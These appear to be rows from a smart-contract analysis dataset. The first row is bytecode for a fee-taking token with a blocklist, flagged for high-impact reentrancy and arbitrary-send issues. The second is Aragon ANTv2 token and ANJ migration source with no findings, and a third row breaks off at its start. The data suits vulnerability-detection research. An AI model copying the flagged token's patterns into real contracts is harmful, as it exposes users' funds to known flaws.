8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190613041565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612fc1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612ec1565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612fa1565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600f60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90613021565b60405180910390fd5b5b5b60105481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600f60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c9190613177565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600f60159054906101000a900460ff16158015611b085750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600f60169054906101000a900460ff165b15611b4857611b2e81611e00565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c078484848461214d565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612e9f565b60405180910390fd5b5060008385611c649190613258565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cd4600a611cc660048661208890919063ffffffff16565b61210390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d63600a611d5560068661208890919063ffffffff16565b61210390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612ee1565b60405180910390fd5b6000611de361217a565b9050611df8818461210390919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e3857611e3761342d565b5b604051908082528060200260200182016040528015611e665781602001602082028036833780820191505090505b5090503081600081518110611e7e57611e7d6133fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f2057600080fd5b505afa158015611f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5891906128e6565b81600181518110611f6c57611f6b6133fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd330600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203795949392919061305c565b600060405180830381600087803b15801561205157600080fd5b505af1158015612065573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561209b57600090506120fd565b600082846120a991906131fe565b90508284826120b891906131cd565b146120f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ef90612f61565b60405180910390fd5b809150505b92915050565b600061214583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121a5565b905092915050565b8061215b5761215a612208565b5b612166848484612239565b8061217457612173612404565b5b50505050565b6000806000612187612416565b9150915061219e818361210390919063ffffffff16565b9250505090565b600080831182906121ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e39190612e9f565b60405180910390fd5b50600083856121fb91906131cd565b9050809150509392505050565b600060085414801561221c57506000600954145b1561222657612237565b600060088190555060006009819055505b565b60008060008060008061224b87612478565b9550955095509550955095506122a986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124df90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238a81612587565b6123948483612644565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123f19190613041565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea00000905061244c683635c9adc5dea0000060065461210390919063ffffffff16565b82101561246b57600654683635c9adc5dea00000935093505050612474565b81819350935050505b9091565b60008060008060008060008060006124948a600854600c61267e565b92509250925060006124a461217a565b905060008060006124b78e878787612714565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061252183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b60008082846125389190613177565b90508381101561257d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257490612f21565b60405180910390fd5b8091505092915050565b600061259161217a565b905060006125a8828461208890919063ffffffff16565b90506125fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612659826006546124df90919063ffffffff16565b6006819055506126748160075461252990919063ffffffff16565b6007819055505050565b6000806000806126aa606461269c888a61208890919063ffffffff16565b61210390919063ffffffff16565b905060006126d460646126c6888b61208890919063ffffffff16565b61210390919063ffffffff16565b905060006126fd826126ef858c6124df90919063ffffffff16565b6124df90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061272d858961208890919063ffffffff16565b90506000612744868961208890919063ffffffff16565b9050600061275b878961208890919063ffffffff16565b905060006127848261277685876124df90919063ffffffff16565b6124df90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127b06127ab846130f6565b6130d1565b905080838252602082019050828560208602820111156127d3576127d2613461565b5b60005b8581101561280357816127e9888261280d565b8452602084019350602083019250506001810190506127d6565b5050509392505050565b60008135905061281c81613777565b92915050565b60008151905061283181613777565b92915050565b600082601f83011261284c5761284b61345c565b5b813561285c84826020860161279d565b91505092915050565b6000813590506128748161378e565b92915050565b6000815190506128898161378e565b92915050565b60008135905061289e816137a5565b92915050565b6000815190506128b3816137a5565b92915050565b6000602082840312156128cf576128ce61346b565b5b60006128dd8482850161280d565b91505092915050565b6000602082840312156128fc576128fb61346b565b5b600061290a84828501612822565b91505092915050565b6000806040838503121561292a5761292961346b565b5b60006129388582860161280d565b92505060206129498582860161280d565b9150509250929050565b60008060006060848603121561296c5761296b61346b565b5b600061297a8682870161280d565b935050602061298b8682870161280d565b925050604061299c8682870161288f565b9150509250925092565b600080604083850312156129bd576129bc61346b565b5b60006129cb8582860161280d565b92505060206129dc8582860161288f565b9150509250929050565b6000602082840312156129fc576129fb61346b565b5b600082013567ffffffffffffffff811115612a1a57612a19613466565b5b612a2684828501612837565b91505092915050565b600060208284031215612a4557612a4461346b565b5b6000612a5384828501612865565b91505092915050565b600060208284031215612a7257612a7161346b565b5b6000612a808482850161287a565b91505092915050565b600060208284031215612a9f57612a9e61346b565b5b6000612aad8482850161288f565b91505092915050565b600080600060608486031215612acf57612ace61346b565b5b6000612add868287016128a4565b9350506020612aee868287016128a4565b9250506040612aff868287016128a4565b9150509250925092565b6000612b158383612b21565b60208301905092915050565b612b2a8161328c565b82525050565b612b398161328c565b82525050565b6000612b4a82613132565b612b548185613155565b9350612b5f83613122565b8060005b83811015612b90578151612b778882612b09565b9750612b8283613148565b925050600181019050612b63565b5085935050505092915050565b612ba68161329e565b82525050565b612bb5816132e1565b82525050565b6000612bc68261313d565b612bd08185613166565b9350612be08185602086016132f3565b612be981613470565b840191505092915050565b6000612c01602383613166565b9150612c0c82613481565b604082019050919050565b6000612c24602a83613166565b9150612c2f826134d0565b604082019050919050565b6000612c47602283613166565b9150612c528261351f565b604082019050919050565b6000612c6a601b83613166565b9150612c758261356e565b602082019050919050565b6000612c8d601d83613166565b9150612c9882613597565b602082019050919050565b6000612cb0602183613166565b9150612cbb826135c0565b604082019050919050565b6000612cd3602083613166565b9150612cde8261360f565b602082019050919050565b6000612cf6602983613166565b9150612d0182613638565b604082019050919050565b6000612d19602583613166565b9150612d2482613687565b604082019050919050565b6000612d3c602483613166565b9150612d47826136d6565b604082019050919050565b6000612d5f601783613166565b9150612d6a82613725565b602082019050919050565b6000612d82601183613166565b9150612d8d8261374e565b602082019050919050565b612da1816132ca565b82525050565b612db0816132d4565b82525050565b6000602082019050612dcb6000830184612b30565b92915050565b6000604082019050612de66000830185612b30565b612df36020830184612b30565b9392505050565b6000604082019050612e0f6000830185612b30565b612e1c6020830184612d98565b9392505050565b600060c082019050612e386000830189612b30565b612e456020830188612d98565b612e526040830187612bac565b612e5f6060830186612bac565b612e6c6080830185612b30565b612e7960a0830184612d98565b979650505050505050565b6000602082019050612e996000830184612b9d565b92915050565b60006020820190508181036000830152612eb98184612bbb565b905092915050565b60006020820190508181036000830152612eda81612bf4565b9050919050565b60006020820190508181036000830152612efa81612c17565b9050919050565b60006020820190508181036000830152612f1a81612c3a565b9050919050565b60006020820190508181036000830152612f3a81612c5d565b9050919050565b60006020820190508181036000830152612f5a81612c80565b9050919050565b60006020820190508181036000830152612f7a81612ca3565b9050919050565b60006020820190508181036000830152612f9a81612cc6565b9050919050565b60006020820190508181036000830152612fba81612ce9565b9050919050565b60006020820190508181036000830152612fda81612d0c565b9050919050565b60006020820190508181036000830152612ffa81612d2f565b9050919050565b6000602082019050818103600083015261301a81612d52565b9050919050565b6000602082019050818103600083015261303a81612d75565b9050919050565b60006020820190506130566000830184612d98565b92915050565b600060a0820190506130716000830188612d98565b61307e6020830187612bac565b81810360408301526130908186612b3f565b905061309f6060830185612b30565b6130ac6080830184612d98565b9695505050505050565b60006020820190506130cb6000830184612da7565b92915050565b60006130db6130ec565b90506130e78282613326565b919050565b6000604051905090565b600067ffffffffffffffff8211156131115761311061342d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613182826132ca565b915061318d836132ca565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131c2576131c16133a0565b5b828201905092915050565b60006131d8826132ca565b91506131e3836132ca565b9250826131f3576131f26133cf565b5b828204905092915050565b6000613209826132ca565b9150613214836132ca565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561324d5761324c6133a0565b5b828202905092915050565b6000613263826132ca565b915061326e836132ca565b925082821015613281576132806133a0565b5b828203905092915050565b6000613297826132aa565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132ec826132ca565b9050919050565b60005b838110156133115780820151818401526020810190506132f6565b83811115613320576000848401525b50505050565b61332f82613470565b810181811067ffffffffffffffff8211171561334e5761334d61342d565b5b80604052505050565b6000613362826132ca565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613395576133946133a0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137808161328c565b811461378b57600080fd5b50565b6137978161329e565b81146137a257600080fd5b50565b6137ae816132ca565b81146137b957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220163b58bbcc963f7aee5fdb5fc2ad97429b45c0185199ec34a84c89eddbaa2ced64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,188 |
0xf6271c8eBF1C1C0384CBBD6Df8b84380623555Ef
|
pragma solidity 0.5.17;
interface ApproveAndCallReceiver {
/**
* @dev This allows users to use their tokens to interact with contracts in one function call instead of two
* @param _from Address of the account transferring the tokens
* @param _amount The amount of tokens approved for in the transfer
* @param _token Address of the token contract calling this function
* @param _data Optional data that can be used to add signalling information in more complex staking applications
*/
function receiveApproval(address _from, uint256 _amount, address _token, bytes calldata _data) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
// A library for performing overflow-safe math, courtesy of DappHub: https://github.com/dapphub/ds-math/blob/d0ef6d6a5f/src/math.sol
// Modified to include only the essentials
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "MATH:ADD_OVERFLOW");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "MATH:SUB_UNDERFLOW");
}
}
// Lightweight token modelled after UNI-LP: https://github.com/Uniswap/uniswap-v2-core/blob/v1.0.1/contracts/UniswapV2ERC20.sol
// Adds:
// - An exposed `mint()` with minting role
// - An exposed `burn()`
// - ERC-3009 (`transferWithAuthorization()`)
contract ANTv2 is IERC20 {
using SafeMath for uint256;
// bytes32 private constant EIP712DOMAIN_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)")
bytes32 private constant EIP712DOMAIN_HASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
// bytes32 private constant NAME_HASH = keccak256("Aragon Network Token")
bytes32 private constant NAME_HASH = 0x711a8013284a3c0046af6c0d6ed33e8bbc2c7a11d615cf4fdc8b1ac753bda618;
// bytes32 private constant VERSION_HASH = keccak256("1")
bytes32 private constant VERSION_HASH = 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6;
// bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
// bytes32 public constant TRANSFER_WITH_AUTHORIZATION_TYPEHASH =
// keccak256("TransferWithAuthorization(address from,address to,uint256 value,uint256 validAfter,uint256 validBefore,bytes32 nonce)");
bytes32 public constant TRANSFER_WITH_AUTHORIZATION_TYPEHASH = 0x7c7c6cdb67a18743f49ec6fa9b35f50d52ed05cbed4cc592e13b44501c1a2267;
string public constant name = "Aragon Network Token";
string public constant symbol = "ANT";
uint8 public constant decimals = 18;
address public minter;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// ERC-2612, ERC-3009 state
mapping (address => uint256) public nonces;
mapping (address => mapping (bytes32 => bool)) public authorizationState;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event AuthorizationUsed(address indexed authorizer, bytes32 indexed nonce);
event ChangeMinter(address indexed minter);
modifier onlyMinter {
require(msg.sender == minter, "ANTV2:NOT_MINTER");
_;
}
constructor(address initialMinter) public {
_changeMinter(initialMinter);
}
function _validateSignedData(address signer, bytes32 encodeData, uint8 v, bytes32 r, bytes32 s) internal view {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
getDomainSeparator(),
encodeData
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
// Explicitly disallow authorizations for address(0) as ecrecover returns address(0) on malformed messages
require(recoveredAddress != address(0) && recoveredAddress == signer, "ANTV2:INVALID_SIGNATURE");
}
function _changeMinter(address newMinter) internal {
minter = newMinter;
emit ChangeMinter(newMinter);
}
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
// Balance is implicitly checked with SafeMath's underflow protection
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint256 value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint256 value) private {
require(to != address(this) && to != address(0), "ANTV2:RECEIVER_IS_TOKEN_OR_ZERO");
// Balance is implicitly checked with SafeMath's underflow protection
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function getChainId() public pure returns (uint256 chainId) {
assembly { chainId := chainid() }
}
function getDomainSeparator() public view returns (bytes32) {
return keccak256(
abi.encode(
EIP712DOMAIN_HASH,
NAME_HASH,
VERSION_HASH,
getChainId(),
address(this)
)
);
}
function mint(address to, uint256 value) external onlyMinter returns (bool) {
_mint(to, value);
return true;
}
function changeMinter(address newMinter) external onlyMinter {
_changeMinter(newMinter);
}
function burn(uint256 value) external returns (bool) {
_burn(msg.sender, value);
return true;
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
uint256 fromAllowance = allowance[from][msg.sender];
if (fromAllowance != uint256(-1)) {
// Allowance is implicitly checked with SafeMath's underflow protection
allowance[from][msg.sender] = fromAllowance.sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, "ANTV2:AUTH_EXPIRED");
bytes32 encodeData = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline));
_validateSignedData(owner, encodeData, v, r, s);
_approve(owner, spender, value);
}
function transferWithAuthorization(
address from,
address to,
uint256 value,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
require(block.timestamp > validAfter, "ANTV2:AUTH_NOT_YET_VALID");
require(block.timestamp < validBefore, "ANTV2:AUTH_EXPIRED");
require(!authorizationState[from][nonce], "ANTV2:AUTH_ALREADY_USED");
bytes32 encodeData = keccak256(abi.encode(TRANSFER_WITH_AUTHORIZATION_TYPEHASH, from, to, value, validAfter, validBefore, nonce));
_validateSignedData(from, encodeData, v, r, s);
authorizationState[from][nonce] = true;
emit AuthorizationUsed(from, nonce);
_transfer(from, to, value);
}
}
contract ANTv2MultiMinter {
string private constant ERROR_NOT_OWNER = "ANTV2_MM:NOT_OWNER";
string private constant ERROR_NOT_MINTER = "ANTV2_MM:NOT_MINTER";
address public owner;
ANTv2 public ant;
mapping (address => bool) public canMint;
event AddedMinter(address indexed minter);
event RemovedMinter(address indexed minter);
event ChangedOwner(address indexed newOwner);
modifier onlyOwner {
require(msg.sender == owner, ERROR_NOT_OWNER);
_;
}
modifier onlyMinter {
require(canMint[msg.sender] || msg.sender == owner, ERROR_NOT_MINTER);
_;
}
constructor(address _owner, ANTv2 _ant) public {
owner = _owner;
ant = _ant;
}
function mint(address to, uint256 value) external onlyMinter returns (bool) {
return ant.mint(to, value);
}
function addMinter(address minter) external onlyOwner {
canMint[minter] = true;
emit AddedMinter(minter);
}
function removeMinter(address minter) external onlyOwner {
canMint[minter] = false;
emit RemovedMinter(minter);
}
function changeMinter(address newMinter) onlyOwner external {
ant.changeMinter(newMinter);
}
function changeOwner(address newOwner) onlyOwner external {
_changeOwner(newOwner);
}
function _changeOwner(address newOwner) internal {
owner = newOwner;
emit ChangedOwner(newOwner);
}
}
contract ANJNoLockMinter is ApproveAndCallReceiver {
string private constant ERROR_WRONG_TOKEN = "ANJ_NO_LCK_MNTR:WRONG_TOKEN";
string private constant ERROR_ZERO_AMOUNT = "ANJ_NO_LCK_MNTR:ZERO_AMOUNT";
string private constant ERROR_TRANSFER_FAILED = "ANJ_NO_LCK_MNTR:TRANSFER_FAIL";
string private constant ERROR_MINT_FAILED = "ANJ_NO_LCK_MNTR:MINT_FAILED";
address private constant BURNED_ADDR = 0x000000000000000000000000000000000000dEaD;
// Exchange rate is 0.015 ANT per ANJ
uint256 private constant RATE = 15 * 10 ** 15;
uint256 private constant RATE_BASE = 10 ** 18;
ANTv2MultiMinter public minter;
ANTv2 public ant;
IERC20 public anj;
constructor(ANTv2MultiMinter _minter, ANTv2 _ant, IERC20 _anj) public {
minter = _minter;
ant = _ant;
anj = _anj;
}
function migrate(uint256 _amount) external {
_migrate(msg.sender, _amount);
}
function migrateAll() external {
uint256 amount = anj.balanceOf(msg.sender);
_migrate(msg.sender, amount);
}
function receiveApproval(address _from, uint256 _amount, address _token, bytes calldata /*_data*/) external {
require(_token == msg.sender && _token == address(anj), ERROR_WRONG_TOKEN);
uint256 fromBalance = anj.balanceOf(_from);
uint256 migrationAmount = _amount > fromBalance ? fromBalance : _amount;
_migrate(_from, migrationAmount);
}
function _migrate(address _from, uint256 _amount) private {
require(_amount > 0, ERROR_ZERO_AMOUNT);
// Burn ANJ
require(anj.transferFrom(_from, BURNED_ADDR, _amount), ERROR_TRANSFER_FAILED);
// Mint ANT
uint256 antAmount = _amount * RATE / RATE_BASE;
require(minter.mint(_from, antAmount), ERROR_MINT_FAILED);
}
}
|
0x608060405234801561001057600080fd5b50600436106100725760003560e01c80638b26cb3d116100505780638b26cb3d146100cf5780638f4ffcb1146100d757806398a835161461017357610072565b80630754617214610077578063454b0608146100a85780634a77f870146100c7575b600080fd5b61007f61017b565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6100c5600480360360208110156100be57600080fd5b5035610197565b005b6100c56101a4565b61007f61024d565b6100c5600480360360808110156100ed57600080fd5b73ffffffffffffffffffffffffffffffffffffffff823581169260208101359260408201359092169181019060808101606082013564010000000081111561013457600080fd5b82018360208201111561014657600080fd5b8035906020019184600183028401116401000000008311171561016857600080fd5b509092509050610269565b61007f61044d565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b6101a13382610469565b50565b600254604080517f70a08231000000000000000000000000000000000000000000000000000000008152336004820152905160009273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b15801561021557600080fd5b505afa158015610229573d6000803e3d6000fd5b505050506040513d602081101561023f57600080fd5b505190506101a13382610469565b60025473ffffffffffffffffffffffffffffffffffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff8316331480156102a8575060025473ffffffffffffffffffffffffffffffffffffffff8481169116145b6040518060400160405280601b81526020017f414e4a5f4e4f5f4c434b5f4d4e54523a57524f4e475f544f4b454e000000000081525090610381576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561034657818101518382015260200161032e565b50505050905090810190601f1680156103735780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600254604080517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8881166004830152915160009392909216916370a0823191602480820192602092909190829003018186803b1580156103f957600080fd5b505afa15801561040d573d6000803e3d6000fd5b505050506040513d602081101561042357600080fd5b5051905060008186116104365785610438565b815b90506104448782610469565b50505050505050565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b60408051808201909152601b81527f414e4a5f4e4f5f4c434b5f4d4e54523a5a45524f5f414d4f554e540000000000602082015281610503576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181815283516024840152835190928392604490910191908501908083836000831561034657818101518382015260200161032e565b50600254604080517f23b872dd00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff858116600483015261dead602483015260448201859052915191909216916323b872dd9160648083019260209291908290030181600087803b15801561058857600080fd5b505af115801561059c573d6000803e3d6000fd5b505050506040513d60208110156105b257600080fd5b505160408051808201909152601d81527f414e4a5f4e4f5f4c434b5f4d4e54523a5452414e534645525f4641494c00000060208201529061064e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181815283516024840152835190928392604490910191908501908083836000831561034657818101518382015260200161032e565b5060008054604080517f40c10f1900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8681166004830152670de0b6b3a764000066354a6ba7a1800087020460248301819052925192949316926340c10f19926044808401936020939083900390910190829087803b1580156106e157600080fd5b505af11580156106f5573d6000803e3d6000fd5b505050506040513d602081101561070b57600080fd5b505160408051808201909152601b81527f414e4a5f4e4f5f4c434b5f4d4e54523a4d494e545f4641494c454400000000006020820152906107a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181815283516024840152835190928392604490910191908501908083836000831561034657818101518382015260200161032e565b5050505056fea265627a7a72315820a883fcf74a0dccd77d182a065a49969d248810042c2d3aa731c21308f7f99ce164736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 9,189 |
0xb9280f0552ef8cebb79e014a3ed38c88d6d30ec4
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
